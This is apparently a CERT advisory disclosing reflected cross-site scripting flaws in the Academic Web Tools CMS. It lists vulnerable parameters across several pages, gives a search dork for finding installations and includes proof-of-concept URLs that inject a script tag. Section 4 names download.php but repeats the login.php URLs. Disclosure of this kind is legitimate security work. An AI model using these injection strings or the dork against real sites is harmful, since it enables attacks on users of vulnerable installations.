Academic Web Tools CMS Cross Site Scripting

`============================================ IUT-CERT ============================================  
  
Title: Academic Web Tools CMS Multiple XSS  
Vendor: www.yektaweb.com  
Vulnerable Version: 1.5.7 and priors  
Type: XSS  
Fix: N/A  
Dork: AWT YEKTA  
  
============================================ nsec.ir ============================================  
  
Description:  
------------------  
  
YEKTAWEB Academic Web Tools is a Persian Content Management System (CMS) for managing university  
affairs such as conferences, journals and etc.  
The built-in filter of this package can not prevent XSS attack on some parameters.  
  
  
  
Vulnerabilities:  
------------------  
  
1- Cross Site Scripting (XSS) in "/page.php" in "sid","logincase" and "redirect" parameters.  
http://yoursite/page.php?sid=[XSS]  
http://yoursite/page.php?logincase=[XSS]  
http://yoursite/page.php?redirect=[XSS]  
  
2- Cross Site Scripting (XSS) in "/page_arch.php" in "sid","logincase" and "redirect" parameters.  
http://yoursite/page_arch.php?sid=[XSS]  
http://yoursite/page_arch.php?logincase=[XSS]  
http://yoursite/page_arch.php?redirect=[XSS]  
  
  
3- Cross Site Scripting (XSS) in "/login.php" in "sid" ,"logincase" and "redirect" parameters.  
http://yoursite/login.php?sid=[XSS]  
http://yoursite/login.php?logincase=[XSS]  
http://yoursite/login.php?redirect=[XSS]  
  
4- Cross Site Scripting (XSS) in "/download.php" in "sid" ,"logincase" and "redirect" parameters.  
http://yoursite/login.php?sid=[XSS]  
http://yoursite/login.php?logincase=[XSS]  
http://yoursite/login.php?redirect=[XSS]  
  
  
Exploit/PoC:  
------------------  
  
  
Example:   
http://yoursite/login.php?slct_pg_id=53&sid=1*/--></script><script>alert(188017)</script>&slc_lang=fa  
http://yoursite/page_arch.php?slc_lang=fa&sid=1&logincase=*/--></script><script>alert(188017)</script>  
http://yoursite/page.php?sid=1&slc_lang=en&redirect=*/--></script><script>alert(188017)</script>  
  
  
Solution:  
------------------  
  
Input Validation Filter should be patched.  
  
  
Credit:   
------------------  
Isfahan University of Technology - Computer Emergency Response Team  
Thanks to : M. R. Faghani, N. Fathi, E. Aerabi, E. Jafari  
  
  
`